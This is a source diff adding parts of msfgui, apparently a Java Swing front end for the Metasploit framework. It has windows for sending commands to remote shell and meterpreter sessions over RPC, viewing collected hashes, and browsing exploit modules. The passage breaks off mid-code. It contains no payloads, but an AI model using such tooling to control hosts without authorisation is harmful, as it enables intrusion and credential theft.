-1, -1, 63, 52, 53, + 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, + -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, + 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, + 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, + 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, + 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, + 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, + 49, 50, 51 + }; + /** Converts a byte array to a bae64-encoded String. */ + public static String encode(byte source[]) { + int offset = 0; + int num = 0; + int numBytes = 0; + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < source.length; i++) { + int b = source[offset++]; + if (b < 0) + b += 256; + num = (num << 8) + b; + if (++numBytes != 3) + continue; + sb.append(intToBase64[num >> 18]); + sb.append(intToBase64[num >> 12 & 0x3f]); + sb.append(intToBase64[num >> 6 & 0x3f]); + sb.append(intToBase64[num & 0x3f]); + num = 0; + numBytes = 0; + } + if (numBytes > 0) { + if (numBytes == 1) { + sb.append(intToBase64[num >> 2]); + sb.append(intToBase64[num << 4 & 0x3f]); + sb.append("=="); + } else { + sb.append(intToBase64[num >> 10]); + sb.append(intToBase64[num >> 4 & 0x3f]); + sb.append(intToBase64[num << 2 & 0x3f]); + sb.append('='); + } + } + return sb.toString(); + } + /** Decodes a Base64-encoded String to a byte array. */ + public static byte[] decode(String source) throws MsfException { + int num=0; + int numBytes=0; + int eofBytes = 0; + ByteArrayOutputStream bout = new ByteArrayOutputStream(); + for (int i = 0; i < source.length(); i++) { + char c = source.charAt(i); + if (Character.isWhitespace(c)) + continue; + if (c == '=') { + eofBytes++; + num = num << 6; + switch (++numBytes) { + case 1: + case 2: + throw new MsfException("Unexpected end of stream character (=)"); + case 3: + break; + case 4: + bout.write((byte) (num >> 16)); + if (eofBytes == 1) + bout.write((byte) (num >> 8)); + break; + case 5: + throw new MsfException("Trailing garbage detected"); + default: + throw new IllegalStateException("Invalid value for numBytes"); + } + continue; + } + if (eofBytes > 0) + throw new MsfException("Base64 characters after end of stream character (=) detected."); + if (c >= 0 && c < Base64.base64ToInt.length) { + int result = Base64.base64ToInt[c]; + if (result >= 0) { + num = (num << 6) + result; + if (++numBytes != 4) + continue; + bout.write((byte) (num >> 16)); + bout.write((byte) (num >> 8 & 0xff)); + bout.write((byte) (num & 0xff)); + num = 0; + numBytes = 0; + continue; + } + } + if (!Character.isWhitespace(c)) + throw new MsfException("Invalid Base64 character: " + (int) c); + } + return bout.toByteArray(); + } +} diff --git a/external/source/gui/msfguijava/src/msfgui/EditorWindow.form b/external/source/gui/msfguijava/src/msfgui/EditorWindow.form new file mode 100755 index 0000000000..b3c7cf43d5 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/EditorWindow.form @@ -0,0 +1,88 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/external/source/gui/msfguijava/src/msfgui/EditorWindow.java b/external/source/gui/msfguijava/src/msfgui/EditorWindow.java new file mode 100755 index 0000000000..fbd0217df3 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/EditorWindow.java @@ -0,0 +1,109 @@ +package msfgui; + +import java.awt.Font; +import java.io.FileWriter; +import java.io.IOException; +import java.util.Collection; + +/** + * + * @author scriptjunkie + */ +public class EditorWindow extends MsfFrame { + /** Creates new form EditorWindow */ + public EditorWindow(String text) { + initComponents(); + textBox.setFont(new Font("Monospaced", textBox.getFont().getStyle(), 12)); + textBox.setText(text); + } + /** Creates new form EditorWindow */ + public EditorWindow(Collection info) { + this(""); + StringBuilder sb = new StringBuilder(); + for(Object o : info) + sb.append(o+"\n"); + textBox.setText(sb.toString()); + setTitle("Collected hashes"); + } + + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + scrollPane = new javax.swing.JScrollPane(); + textBox = new javax.swing.JTextArea(); + saveButton = new javax.swing.JButton(); + jLabel1 = new javax.swing.JLabel(); + + setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); + + scrollPane.setName("scrollPane"); // NOI18N + + textBox.setColumns(20); + textBox.setRows(5); + textBox.setName("textBox"); // NOI18N + scrollPane.setViewportView(textBox); + + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getResourceMap(EditorWindow.class); + saveButton.setText(resourceMap.getString("saveButton.text")); // NOI18N + saveButton.setName("saveButton"); // NOI18N + saveButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + saveButtonActionPerformed(evt); + } + }); + + jLabel1.setText(resourceMap.getString("jLabel1.text")); // NOI18N + jLabel1.setName("jLabel1"); // NOI18N + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(scrollPane, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 686, Short.MAX_VALUE) + .addGroup(javax.swing.GroupLayout.Alignment.LEADING, layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(saveButton, javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(jLabel1))) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel1) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(scrollPane, javax.swing.GroupLayout.DEFAULT_SIZE, 629, Short.MAX_VALUE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(saveButton) + .addContainerGap()) + ); + + pack(); + }// //GEN-END:initComponents + + private void saveButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_saveButtonActionPerformed + if(MsfguiApp.fileChooser.showSaveDialog(this) != javax.swing.JFileChooser.APPROVE_OPTION) + return; + try{ + FileWriter fout = new FileWriter(MsfguiApp.fileChooser.getSelectedFile()); + fout.write(textBox.getText()); + fout.close(); + }catch(IOException ex){ + } + }//GEN-LAST:event_saveButtonActionPerformed + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JLabel jLabel1; + private javax.swing.JButton saveButton; + private javax.swing.JScrollPane scrollPane; + private javax.swing.JTextArea textBox; + // End of variables declaration//GEN-END:variables +} diff --git a/external/source/gui/msfguijava/src/msfgui/InteractWindow.form b/external/source/gui/msfguijava/src/msfgui/InteractWindow.form new file mode 100644 index 0000000000..0fddb1f700 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/InteractWindow.form @@ -0,0 +1,97 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/external/source/gui/msfguijava/src/msfgui/InteractWindow.java b/external/source/gui/msfguijava/src/msfgui/InteractWindow.java new file mode 100644 index 0000000000..37b520d531 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/InteractWindow.java @@ -0,0 +1,228 @@ +/* + * InteractWindow.java + * + * Created on May 15, 2010, 5:46:53 PM + */ +package msfgui; + +import java.awt.Font; +import java.awt.event.KeyEvent; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.concurrent.locks.ReentrantLock; +import javax.swing.JOptionPane; +import org.jdesktop.swingworker.SwingWorker; + +/** + * + * @author scriptjunkie + */ +public class InteractWindow extends MsfFrame { + public final ReentrantLock lock = new ReentrantLock(); + public static final char POLL = 'r'; + public static final char STOP_POLLING = 's'; + private final Map session; + private final RpcConnection rpcConn; + private String type; + private StringBuffer timerCommand;//synchronized mutable object as command placeholder for polling thread + private static ArrayList commands; + private static int currentCommand = 0; + static{ + commands = new ArrayList(); + commands.add(""); + } + + /** Creates a new window for interacting with shells/meterpreters */ + public InteractWindow(final RpcConnection rpcConn, final Map session, final String type) { + super(type+" interaction window"); + initComponents(); + this.rpcConn = rpcConn; + this.session = session; + this.type = type; + timerCommand = new StringBuffer(""+POLL); + + //start new thread polling for input + new SwingWorker() { + protected Object doInBackground() throws Exception { + long time = 100; + while (timerCommand.charAt(0) == POLL) { + if (lock.tryLock() == false) { + this.publish("locked"); + lock.lock(); + this.publish("unlocked"); + } + try { + long start = System.currentTimeMillis(); + Map received = (Map) rpcConn.execute("session." + type + "_read", new Object[]{session.get("id")}); + time = System.currentTimeMillis() - start; + if (!received.get("encoding").equals("base64")) + throw new MsfException("Uhoh. Unknown encoding. Time to update?"); + byte[] decodedBytes = Base64.decode(received.get("data").toString()); + if (decodedBytes.length > 0) { + outputArea.append(new String(decodedBytes)); + if(decodedBytes[decodedBytes.length-1] != '\n') + outputArea.append("\n");//cause windows is just like that. + publish("data"); + } + } catch (MsfException ex) { + if(!ex.getMessage().equals("unknown session")) + JOptionPane.showMessageDialog(null, ex); + timerCommand.setCharAt(0, STOP_POLLING); + } + lock.unlock(); + try { + Thread.sleep(100 + (time * 3));// if it takes a long time to get data, ask for it slower + } catch (InterruptedException iex) { + } + } + return null; + } + protected void process(List l){ + for(Object o : l){ + if(o.equals("locked")){ + submitButton.setEnabled(false); + inputField.setEditable(false); + }else if(o.equals("unlocked")){ + submitButton.setEnabled(true); + inputField.setEditable(true); + }else{ + outputArea.setCaretPosition(outputArea.getDocument().getLength()); + } + } + } + }.execute(); + + if(type.equals("meterpreter")) + inputField.setText("help"); + outputArea.setFont(new Font("Monospaced", outputArea.getFont().getStyle(), 12)); + } + + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + outputScrollPane = new javax.swing.JScrollPane(); + outputArea = new javax.swing.JTextArea(); + inputField = new javax.swing.JTextField(); + submitButton = new javax.swing.JButton(); + + addWindowListener(new java.awt.event.WindowAdapter() { + public void windowClosed(java.awt.event.WindowEvent evt) { + formWindowClosed(evt); + } + public void windowOpened(java.awt.event.WindowEvent evt) { + formWindowOpened(evt); + } + }); + + outputScrollPane.setAutoscrolls(true); + outputScrollPane.setName("outputScrollPane"); // NOI18N + + outputArea.setColumns(20); + outputArea.setEditable(false); + outputArea.setRows(5); + outputArea.setName("outputArea"); // NOI18N + outputScrollPane.setViewportView(outputArea); + + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getResourceMap(InteractWindow.class); + inputField.setText(resourceMap.getString("inputField.text")); // NOI18N + inputField.setName("inputField"); // NOI18N + inputField.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + inputFieldActionPerformed(evt); + } + }); + inputField.addKeyListener(new java.awt.event.KeyAdapter() { + public void keyPressed(java.awt.event.KeyEvent evt) { + inputFieldKeyPressed(evt); + } + }); + + submitButton.setText(resourceMap.getString("submitButton.text")); // NOI18N + submitButton.setName("submitButton"); // NOI18N + submitButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + submitButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addComponent(inputField, javax.swing.GroupLayout.DEFAULT_SIZE, 657, Short.MAX_VALUE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(submitButton)) + .addComponent(outputScrollPane, javax.swing.GroupLayout.DEFAULT_SIZE, 737, Short.MAX_VALUE)) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addContainerGap() + .addComponent(outputScrollPane, javax.swing.GroupLayout.DEFAULT_SIZE, 533, Short.MAX_VALUE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(inputField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(submitButton)) + .addContainerGap()) + ); + + pack(); + }// //GEN-END:initComponents + + private void inputFieldActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_inputFieldActionPerformed + try { + String command = inputField.getText(); + commands.add(command); + String data = Base64.encode((command+"\n").getBytes()); + rpcConn.execute("session."+type+"_write", new Object[]{session.get("id"),data}); + outputArea.append(">>>"+command+"\n"); + outputArea.setCaretPosition(outputArea.getDocument().getLength()); + + inputField.setText(""); + currentCommand = 0; + } catch (MsfException ex) { + JOptionPane.showMessageDialog(null, ex); + } + }//GEN-LAST:event_inputFieldActionPerformed + + private void submitButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_submitButtonActionPerformed + inputFieldActionPerformed(evt); + }//GEN-LAST:event_submitButtonActionPerformed + + private void formWindowClosed(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_formWindowClosed + timerCommand.setCharAt(0, STOP_POLLING); + }//GEN-LAST:event_formWindowClosed + + private void inputFieldKeyPressed(java.awt.event.KeyEvent evt) {//GEN-FIRST:event_inputFieldKeyPressed + if(evt.getKeyCode() == KeyEvent.VK_UP){ + currentCommand = (currentCommand - 1 + commands.size()) % commands.size(); + inputField.setText(commands.get(currentCommand).toString()); + }else if(evt.getKeyCode() == KeyEvent.VK_DOWN){ + currentCommand = (currentCommand + 1) % commands.size(); + inputField.setText(commands.get(currentCommand).toString()); + } + }//GEN-LAST:event_inputFieldKeyPressed + + private void formWindowOpened(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_formWindowOpened + inputField.requestFocusInWindow(); + }//GEN-LAST:event_formWindowOpened + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JTextField inputField; + private javax.swing.JTextArea outputArea; + private javax.swing.JScrollPane outputScrollPane; + private javax.swing.JButton submitButton; + // End of variables declaration//GEN-END:variables +} diff --git a/external/source/gui/msfguijava/src/msfgui/JobInfoPopup.form b/external/source/gui/msfguijava/src/msfgui/JobInfoPopup.form new file mode 100644 index 0000000000..1382e0ac4c --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/JobInfoPopup.form @@ -0,0 +1,83 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/external/source/gui/msfguijava/src/msfgui/JobInfoPopup.java b/external/source/gui/msfguijava/src/msfgui/JobInfoPopup.java new file mode 100644 index 0000000000..b49ac7640d --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/JobInfoPopup.java @@ -0,0 +1,132 @@ +/* + * JobInfoPopup.java + * + * Created on May 19, 2010, 2:25:40 AM + */ + +package msfgui; + +import java.util.Map; + +/** + * + * @author scriptjunkie + */ +public class JobInfoPopup extends javax.swing.JDialog { + /** A return status code - returned if Cancel button has been pressed */ + public static final int RET_CANCEL = 0; + /** A return status code - returned if OK button has been pressed */ + public static final int RET_OK = 1; + + /** Creates new form JobInfoPopup */ + public JobInfoPopup(java.awt.Frame parent, boolean modal, Object text) { + super(parent, modal); + initComponents(); + Map myMap = (Map)text; + StringBuilder sb = new StringBuilder(); + for(Object oEntry : myMap.entrySet()){ + Map.Entry entry = (Map.Entry)oEntry; + if(entry.getValue() instanceof Map){ + sb.append(entry.getKey()+"\n"); + for(Object osubEntry : ((Map)entry.getValue()).entrySet()){ + Map.Entry subEntry = (Map.Entry)osubEntry; + sb.append(" "+subEntry.getKey()+ " = " + subEntry.getValue()+"\n"); + } + }else { + sb.append(entry.getKey()+ " = " + entry.getValue()+"\n"); + } + } + textArea.setText(sb.toString()); + } + + /** @return the return status of this dialog - one of RET_OK or RET_CANCEL */ + public int getReturnStatus() { + return returnStatus; + } + + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + okButton = new javax.swing.JButton(); + jScrollPane1 = new javax.swing.JScrollPane(); + textArea = new javax.swing.JTextArea(); + + setName("Form"); // NOI18N + addWindowListener(new java.awt.event.WindowAdapter() { + public void windowClosing(java.awt.event.WindowEvent evt) { + closeDialog(evt); + } + }); + + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getResourceMap(JobInfoPopup.class); + okButton.setText(resourceMap.getString("okButton.text")); // NOI18N + okButton.setName("okButton"); // NOI18N + okButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + okButtonActionPerformed(evt); + } + }); + + jScrollPane1.setHorizontalScrollBarPolicy(javax.swing.ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER); + jScrollPane1.setName("jScrollPane1"); // NOI18N + + textArea.setColumns(20); + textArea.setLineWrap(true); + textArea.setRows(5); + textArea.setWrapStyleWord(true); + textArea.setName("textArea"); // NOI18N + jScrollPane1.setViewportView(textArea); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(okButton, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 67, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 395, Short.MAX_VALUE)) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addContainerGap() + .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 358, Short.MAX_VALUE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(okButton) + .addContainerGap()) + ); + + pack(); + }// //GEN-END:initComponents + + private void okButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_okButtonActionPerformed + doClose(RET_OK); + }//GEN-LAST:event_okButtonActionPerformed + + /** Closes the dialog */ + private void closeDialog(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_closeDialog + doClose(RET_CANCEL); + }//GEN-LAST:event_closeDialog + + private void doClose(int retStatus) { + returnStatus = retStatus; + setVisible(false); + dispose(); + } + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JScrollPane jScrollPane1; + private javax.swing.JButton okButton; + private javax.swing.JTextArea textArea; + // End of variables declaration//GEN-END:variables + + private int returnStatus = RET_CANCEL; +} diff --git a/external/source/gui/msfguijava/src/msfgui/MainFrame.form b/external/source/gui/msfguijava/src/msfgui/MainFrame.form new file mode 100644 index 0000000000..32038435f7 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/MainFrame.form @@ -0,0 +1,497 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/gui/msfguijava/src/msfgui/MainFrame.java b/external/source/gui/msfguijava/src/msfgui/MainFrame.java new file mode 100644 index 0000000000..eef523d96b --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/MainFrame.java @@ -0,0 +1,1035 @@ +/* + * MainFrame.java + */ +package msfgui; + +import java.awt.Component; +import java.awt.HeadlessException; +import org.jdesktop.application.Action; +import org.jdesktop.application.ResourceMap; +import org.jdesktop.application.SingleFrameApplication; +import org.jdesktop.application.FrameView; +import org.jdesktop.application.TaskMonitor; +import java.awt.event.ActionEvent; +import java.awt.event.ActionListener; +import java.awt.event.MouseEvent; +import java.io.File; +import java.io.IOException; +import java.net.URI; +import java.net.URISyntaxException; +import java.util.Map; +import java.util.HashMap; +import java.util.TreeMap; +import java.util.ArrayList; +import java.util.List; +import javax.swing.Timer; +import javax.swing.Icon; +import javax.swing.JComponent; +import javax.swing.JDialog; +import javax.swing.JFileChooser; +import javax.swing.JLabel; +import javax.swing.JMenu; +import javax.swing.JMenuItem; +import javax.swing.JOptionPane; +import javax.swing.JPopupMenu; +import javax.swing.SwingUtilities; +import javax.swing.UIManager; +import org.jdesktop.application.Task; +import org.jdesktop.swingworker.SwingWorker; +import org.w3c.dom.Element; + +/** The application's main frame. */ +public class MainFrame extends FrameView { + public static final int MENU_SIZE_LIMIT = 30; + + public HashMap sessionPopupMap; + public RpcConnection rpcConn; + private SwingWorker sessionsPollTimer; + private SessionsTable sessionsTableModel; + private JPopupMenu jobPopupMenu, shellPopupMenu, meterpreterPopupMenu, sessionPopupMenu; + private String clickedJob; + public Map session; + private SearchWindow searchWin; + + public MainFrame(SingleFrameApplication app) { + super(app); + initComponents(); + splitPane.setDividerLocation(200); + sessionsTableModel = null; + sessionPopupMap = new HashMap(); + + //Set up action for starting RPC + startRpcMenuItem.setAction(getContext().getActionMap(this).get("startRpc")); + startRpcMenuItem.setMnemonic('S'); + org.jdesktop.application.ResourceMap resources = org.jdesktop.application.Application.getInstance( + msfgui.MsfguiApp.class).getContext().getResourceMap(MainFrame.class); + startRpcMenuItem.setText(resources.getString("startRpcMenuItem.text")); + + // status bar initialization - message timeout, idle icon and busy animation, etc + ResourceMap resourceMap = getResourceMap(); + int messageTimeout = resourceMap.getInteger("StatusBar.messageTimeout"); + messageTimer = new Timer(messageTimeout, new ActionListener() { + public void actionPerformed(ActionEvent e) { + statusMessageLabel.setText(""); + } + }); + messageTimer.setRepeats(false); + int busyAnimationRate = resourceMap.getInteger("StatusBar.busyAnimationRate"); + for (int i = 0; i < busyIcons.length; i++) + busyIcons[i] = resourceMap.getIcon("StatusBar.busyIcons[" + i + "]"); + busyIconTimer = new Timer(busyAnimationRate, new ActionListener() { + public void actionPerformed(ActionEvent e) { + busyIconIndex = (busyIconIndex + 1) % busyIcons.length; + statusAnimationLabel.setIcon(busyIcons[busyIconIndex]); + } + }); + idleIcon = resourceMap.getIcon("StatusBar.idleIcon"); + statusAnimationLabel.setIcon(idleIcon); + progressBar.setVisible(false); + + // connecting action tasks to status bar via TaskMonitor + TaskMonitor taskMonitor = new TaskMonitor(getApplication().getContext()); + taskMonitor.addPropertyChangeListener(new java.beans.PropertyChangeListener() { + public void propertyChange(java.beans.PropertyChangeEvent evt) { + String propertyName = evt.getPropertyName(); + if ("started".equals(propertyName)) { + if (!busyIconTimer.isRunning()) { + statusAnimationLabel.setIcon(busyIcons[0]); + busyIconIndex = 0; + busyIconTimer.start(); + } + progressBar.setVisible(true); + progressBar.setIndeterminate(true); + } else if ("done".equals(propertyName)) { + busyIconTimer.stop(); + statusAnimationLabel.setIcon(idleIcon); + progressBar.setVisible(false); + progressBar.setValue(0); + } else if ("message".equals(propertyName)) { + String text = (String)(evt.getNewValue()); + statusMessageLabel.setText((text == null) ? "" : text); + messageTimer.restart(); + } else if ("progress".equals(propertyName)) { + int value = (Integer)(evt.getNewValue()); + progressBar.setVisible(true); + progressBar.setIndeterminate(false); + progressBar.setValue(value); + } + } + }); + //Set up GUI, RPC connection, and recent modules + setupSessionsPollTimer(); + setupPopupMenus(); + setLnF(false); + MsfguiApp.fileChooser = new JFileChooser(); + connectRpc(); + //Setup icon + this.getFrame().setIconImage( resourceMap.getImageIcon("main.icon").getImage()); + } + + /** Set up auto session and job refresh */ + private void setupSessionsPollTimer() throws HeadlessException { + sessionsPollTimer = new SwingWorker(){ + @Override + protected List doInBackground() throws Exception { + while(true){ + try { + //update sessions + Map slist = (Map) rpcConn.execute("session.list"); + ArrayList sessionList = new ArrayList(); + for (Object sid : slist.keySet()) { + Map session = (Map) slist.get(sid); + session.put("id", sid); + MsfguiLog.defaultLog.logSession(session); + sessionList.add(slist.get(sid)); + if((session.get("type").equals("meterpreter") || session.get("type").equals("shell")) + && sessionPopupMap.get(session.get("uuid")) == null) + sessionPopupMap.put(session.get("uuid"), new InteractWindow( + rpcConn, session, session.get("type").toString())); + } + MsfguiLog.defaultLog.checkSessions(slist);//Alert the logger + if (sessionsTableModel == null) { + sessionsTableModel = new SessionsTable(sessionList); + sessionsTable.setModel(sessionsTableModel); + } else { + publish(sessionList); + } + //Update jobs + Map jlist = (Map) ((Map)rpcConn.execute("job.list")).get("jobs"); + TreeMap orderedJobsList = new TreeMap(); + orderedJobsList.putAll(jlist); + int i = 0; + String[] jobStrings = new String[jlist.size()]; + for (Object jid : orderedJobsList.keySet()) { + jobStrings[i] = jid.toString() + " - " + orderedJobsList.get(jid).toString(); + i++; + } + publish((Object)jobStrings); + Thread.sleep(500); + } catch (MsfException xre) { + JOptionPane.showMessageDialog(null, xre); + } catch (InterruptedException iex){ + } + } + } + @Override + protected void process(List lis){ + for(Object o : lis){ + if(o instanceof List){ + sessionsTableModel.updateSessions((List)o); + TableHelper.fitColumnWidths(sessionsTableModel,sessionsTable); + sessionsTable.updateUI(); + }else if (o instanceof String[]){ + jobsList.setListData((String[])o); + } + } + } + }; + } + + /** + * Makes a menu tree from a list of modules, and sets action + * listeners from the given factory. + * @param mlist List of modules. + * @param rootMenu Base menu to build tree off of. + * @param factory Factory to generate handlers to do the actions. + */ + private void expandList(Object[] mlist, JMenu rootMenu, RunMenuFactory factory, String type) { + if (mlist == null) + return; + for (Object fullName : mlist) { + String[] names = fullName.toString().split("/"); + JMenu currentMenu = rootMenu; + for (int i = 0; i < names.length; i++) { + boolean found = false; + Component[] comps = currentMenu.getMenuComponents(); + + boolean searchNext = true; + while(!found && searchNext){ //if "More..." listed, search through more list + searchNext = false; + Component [] compsCopy = comps; + for (Component menu : compsCopy) { + if (menu.getName().equals(names[i])) { + if (i < names.length - 1) + currentMenu = (JMenu) menu; + found = true; + break; + }else if (menu.getName().equals("More...")){ + searchNext = true; + comps = ((JMenu)menu).getMenuComponents(); + currentMenu = (JMenu) menu; + } + } + } + + if (!found) { + if(comps.length > MENU_SIZE_LIMIT){ //extend if necessary + JMenu extention = new JMenu("More..."); + extention.setName("More..."); + currentMenu.add(extention); + currentMenu = extention; + } + if (i < names.length - 1) { + JMenu men = new JMenu(names[i]); + men.setName(names[i]); + currentMenu.add(men); + currentMenu = (JMenu) men; + } else { + JMenuItem men = new JMenuItem(names[i]); + men.setName(names[i]); + currentMenu.add(men); + ActionListener actor = factory.getActor(fullName.toString(),type,rpcConn); + men.addActionListener(actor); + searchWin.modules.add(new Object[]{type, fullName.toString(),actor}); + } + } + }//end for each subname + }//end for each module + }//end expandList() + + /** Displays info including version */ + @Action + public void showAboutBox() { + String version = ""; + try { + Map results = (Map)rpcConn.execute("core.version"); + version = results.get("version").toString(); + } catch (MsfException xre) { + JOptionPane.showMessageDialog(this.getFrame(), xre); + } catch (NullPointerException nex) { + } + if (aboutBox == null) + aboutBox = new MsfguiAboutBox(getFrame(),version); + MsfguiApp.getApplication().show(aboutBox); + } + + /** Makes a menu tree with expandList for exploits and auxiliary. Also start jobs/sessions watcher. */ + public void getModules() { + searchWin = new SearchWindow(rpcConn); + MsfguiApp.addRecentModules(recentMenu, rpcConn); + getContext().getActionMap(this).get("moduleTask").actionPerformed(new java.awt.event.ActionEvent(this,1234,"")); + } + + /** helper for getModules - does the work */ + @Action + public Task moduleTask(){ + final MainFrame me = this; + return new Task(getApplication()){ + @Override + protected Void doInBackground() throws Exception { + setTitle("Connected to running msfrpcd. Getting module lists."); + setProgress(0.0f); + //Get modules lists + try { + // yeah three layer deep nested inner classes sucks but I hate making new files for each one + RunMenuFactory moduleFactory = new RunMenuFactory(){ + public 